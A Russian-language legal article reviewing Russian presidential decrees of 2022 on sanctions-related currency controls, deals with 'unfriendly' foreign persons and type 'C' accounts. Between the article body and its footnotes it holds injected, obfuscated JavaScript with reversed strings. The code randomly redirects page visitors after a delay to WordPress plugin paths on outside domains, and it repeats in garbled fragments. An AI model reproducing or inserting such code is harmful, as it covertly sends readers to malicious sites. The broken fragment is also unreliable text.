Обзор положений ключевых указов Президента, принятых в условиях санкций

Статья Петра Мацкевича, адвоката Orchards, на Закон.ру.

После начала специальной военной операции на территории Украины многими иностранными государствами были введены санкции в отношении России, ряда ее граждан и российских компаний, которые оказали негативное воздействие на экономику России и ее финансовую систему.

В целях снижения негативных последствий в связи с санкциями Президент на основании федеральных законов¹ издал ряд указов о введении специальных экономических мер. Ключевыми можно назвать указы № 79 от 28.02.2022, № 81 от 01.03.2022 и № 95 от 05.03.2022. 

В этом материале я изложу основное содержание указов, а также рассмотрю вопросы их применения. 

Указ № 79 от 28.02.2022

Этим указом были введены следующие требования и запреты: 

1. Резиденты – участники ВЭД обязаны в обязательном порядке продать 80% валютной выручки, зачисленной на их счета начиная с 01.01.2022. Согласно Информации ЦБ РФ² 80% этой выручки определяются исходя из остатков выручки на счетах по состоянию на 28.02.2022. 
2. Резиденты – участники ВЭД обязаны продавать 50% валютной выручки, которая поступает на их счета в настоящее время (в период с 28.02.2022 по 23.05.2022 резиденты должны были также были продавать 80% выручки, но указом Президента от 23.05.2022 № 303 этот процент был снижен). 

Изначально срок, в который должны была быть осуществлена продажа валютной выручки составлял 3 рабочих дня. В настоящее время согласно решению Совета директоров ЦБ РФ от 26.05.2022 срок обязательной продажи валютной выручки составляет 120 рабочих дней и действует в отношении полученной иностранной валюты, по которой не была осуществлена обязательная продажа, независимо от даты ее зачисления на счет резидента в уполномоченном банке. 

Данное требование распространяется на любые виды (наименования) валют³. 

Продажа валютной выручки может осуществляться как уполномоченному банку, в котором участник внешнеэкономической деятельности находится на обслуживании, так и иному уполномоченному банку либо на организованных торгах (п. 1.6 Официального разъяснения ЦБ РФ от 04.04.2022 № 3-ОР).

Резиденты вправе уменьшить сумму валютной выручки на следующие расходы и платежи (п. 1.2 Официального разъяснению ЦБ РФ от 16.04.2022 № 4-ОР):

• оплата транспортировки, страхования и экспедирования грузов;
• уплата таможенных пошлин, а также таможенных сборов;
• оплата услуг, связанных с приобретением за пределами территории РФ ГСМ (бункерного топлива), продовольствия, МТЗ и иных товаров, необходимых для обеспечения эксплуатации и технического обслуживания транспортных средств, а также для их ремонта;
• оплата услуг международной электросвязи, включая роуминг.

Согласно Протоколу заседания Правительственной комиссии №39 от 26.04.2022 требование на осуществление обязательной продажи валютной выручки в период до 01.09.2022 не распространяется на резидентов, если одновременно:

• резидент одновременно выступает в качестве экспортера и импортера по заключенным контрактам (контракту);
• расчеты по соответствующим экспортному и импортному контрактам осуществляются через счета, открытые в одном уполномоченном банке, или эти контракты поставлены на учет в одном уполномоченном банке;
• списание иностранной валюты в пользу нерезидента в рамках импортного контракта осуществляется с транзитного валютного счета резидента, на который ранее была зачислена иностранная валюта по экспортному контракту, в размере сумм предстоящих платежей по исполнению обязательств по импортному контракту.

3. С 01.03.2022 запрещено:

1. осуществление валютных операций, связанных с предоставлением резидентами в пользу нерезидентов иностранной валюты по договорам займа;
2. зачисление резидентами иностранной валюты на заграничные счета и перевод денежных средств без открытия банковского счета с использованием иностранных средств платежа, предоставленных иностранными поставщиками платежных услуг.

Данный запрет не распространяется на зачисление денежных средств в рублевой валюте, даже если они потом конвертируются в иностранную валюту (п. 1.1 Официального разъяснению ЦБ РФ от 16.04.2022 № 4-ОР). 

Согласно Протоколу заседания Правительственной комиссии №7 от 10.03.2022 резиденты-физические лица вправе зачислять денежные средства в валюте, полученные от нерезидентов в качестве заработной платы, арендной платы, купонов и дивидендов и иных процентных платежей, а также на счета, открытые до 01.03.2022, если информация о них была раскрыта налоговым органам в соответствии с законодательством РФ. 

Этим же Протоколом Правительственная комиссия разрешила резидентам осуществлять переводы в иностранной валюте на свои зарубежные счета в целях финансирования текущей деятельности своих филиалов и представительств в объеме, не превышающем размер соответствующего финансирования за предыдущий год. 

С 06.03.2022 резидентам-физлицам в принципе разрешено переводить денежные средства в валюте на свои заграничные счета в пределах лимитов, установленных ЦБ РФ (Протокол заседания Правительственной комиссии № 26 от 06.04.2022). 

4. Публичным акционерным обществам до 31.12.2022 разрешено приобретать размещенные ими акции (за исключением приобретения размещенных акций в целях сокращения их общего количества) при наличии совокупности следующих условий:

1. акции допущены к организованным торгам;
2. их средневзвешенная цена за любые три месяца с 01.02.2022 снизилась на 20 и более %;
3. значение основного индекса фондового рынка также снизилось на 20 и более %;
4. акции приобретаются на организованных торгах на основании заявок, адресованных неограниченному кругу участников торгов;
5. акции приобретаются брокером по поручению ПАО;
6. решение о приобретении акций должно быть принято советом директоров (наблюдательным советом) ПАО. 

Указ № 81 от 01.03.2022

Указ Президента № 81 от 01.03.2022, в отличие от предыдущего Указа, направлен в первую очередь на «соразмерный ответ» странам, которые проявляют недружественные действия по отношению к России, ее гражданам и юридическим лицам. 

Так, данным указом определен специальный порядок (на основании разрешений, выдаваемых Правительственной комиссией по контролю за осуществлением иностранных инвестиций в РФ) совершения (исполнения) отдельных сделок между резидентами и лицами иностранных государств, совершающих недружественные действия. 

К «лицам иностранных государств…» относятся: 

1. иностранные лица, связанные с иностранными «недружественными государствами», перечень которых утвержден Распоряжением Правительства от 05.03.2022 № 430-р, а именно, если такие лица:

• имеют гражданство этих государств;
• местом их регистрации, преимущественного ведения деятельности или извлечения прибыли являются «недружественные государства».

2. лица, которые находятся под контролем указанных иностранных лиц, вне зависимости от мест их регистрации или места ведения деятельности.

Понятие «резидент» определяется согласно ст. 1 Федерального закона от 10.12.2003 № 173-ФЗ «О валютном регулировании и валютном контроле», а не в соответствии со ст. 207 Налогового кодекса РФ (п. 1.10 Официального разъяснения Банка России от 18.03.2022 № 2-ОР). 

Понятие «иностранное лицо» не равнозначно понятию «нерезидент» и должно определяться в соответствии с п.п. 11, 23 ст. 2 Федерального закона от 08.12.2003 № 164-ФЗ «Об основах государственного регулирования внешнеторговой деятельности».

Указанный особый порядок распространяется на следующие категории сделок (операций), которые осуществляются (исполняются) с 02.03.2022 резидентами с лицами иностранных государств, совершающих недружественные действия:

• предоставление лицам иностранных государств кредитов и займов;
• сделки (операции), влекущие за собой возникновение права собственности на ценные бумаги и недвижимое имущество. 

Аналогичный порядок установлен для осуществления (исполнения) сделок, заключенных после 22.02.2022, права по которым были приобретены контрагентами у лиц иностранных государств, совершающих недружественные действия.

Правительственной комиссией принято достаточное количество разрешений, которые действуют в отношении неопределенного круга лиц и устанавливают исключение из указанного запрета, в частности: 

• в отношении сделок с лицами иностранных государств, осуществляющих производственную деятельность на территории РФ, в случае направления кредитных средств на осуществление производственно-хозяйственной деятельности на ТЕРРИТОРИИ РФ (Протокол № 5 от 09.03.2022);
• в отношении сделок по приобретению иностранным физическим лицом права собственности на недвижимость; сделок по приобретению резидентом недвижимого имущества у иностранного физического лица, при условии зачисления денежных средств в рублях на счет типа «С»; сделок по договорам ДДУ (Протокол № 12 от 17.03.2022);
• в отношении сделок резидентов, находящихся под контролем иностранных лиц, если эти сделки влекут возникновение права собственности на объекты недвижимости, созданные в рамках 214-ФЗ (Протокол № 17 от 24.03.2022);
• в отношении безвозмездных сделок с иностранными физлицами, которые являются супругами или близкими родственниками резидентов; в отношении сделок, совершаемых ПИФами, владельцами инвестиционных паев которых являются в т.ч. иностранные лица (Протокол № 24 от 04.04.2022);
• в отношении сделок, совершаемых российскими финансовыми организациями, находящимися под контролем иностранных лиц, с резидентами, сделок по приобретению резидентами недвижимости у иностранных лиц, при условии, что заявления на регистрацию прав были поданы до 02.03.2022 (Протокол № 30 от 11.04.2022);
• в отношении сделок, совершаемых резидентами-застройщиками, которые находятся под контролем иностранных лиц, влекущих возникновение права собственности на недвижимость (Протокол № 43 от 05.05.2022). 

Информация о разрешениях, принятых Правительственной комиссией, размещается в открытом доступе на сайте Минфина⁴. 

В силу пп. «ж» п. 1 Указа № 81 от 01.03.2022 с 02.03.2022 также установлен запрет на вывоз наличной иностранной валюты в сумме, превышающий эквивалент 10.000 $. 

Указ № 95 от 05.03.2022

Этот указ установил особый порядок исполнения обязательств перед «недружественными» иностранными кредиторами, который распространяется на исполнение обязательств в размере свыше 10 млн руб. в календарный месяц. Согласно письму ЦБ РФ № 12-4-2/3652 от 16.05.2022 под обязательствами следует понимать совокупный размер всех обязательств резидента-должника перед всеми иностранными кредиторами в календарный месяц.

Особый порядок заключается в следующем: 

1. должник вправе направить в российскую кредитную организацию заявление на имя иностранного кредитора счет типа «С» для расчета по данным обязательствам; 
2. режим счета типа «С» установлен решением Совета директоров ЦБ РФ от 18.03.2022;
3. зачисление денежных средств в рублях на счет типа «С» признается надлежащим исполнением; 

ЦБ РФ вправе выдавать разрешения на исполнение обязательств без соблюдения указанного порядка в отношении кредитных организаций и некредитных финансовых организаций, а Минфин (по согласованию с ЦБ РФ) – в отношении иных должников. 

Ссылка на статью>>

---

$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor»/>

¹№ № 127-ФЗ от 04.06.2018, 390-ФЗ от 28.12.2010, 281-ФЗ от 30.12.2006.

²https://cbr.ru/explan/support_measures_fin/

³https://cbr.ru/press/event/?id=12849

⁴https://minfin.gov.ru/ru/permission/79-81/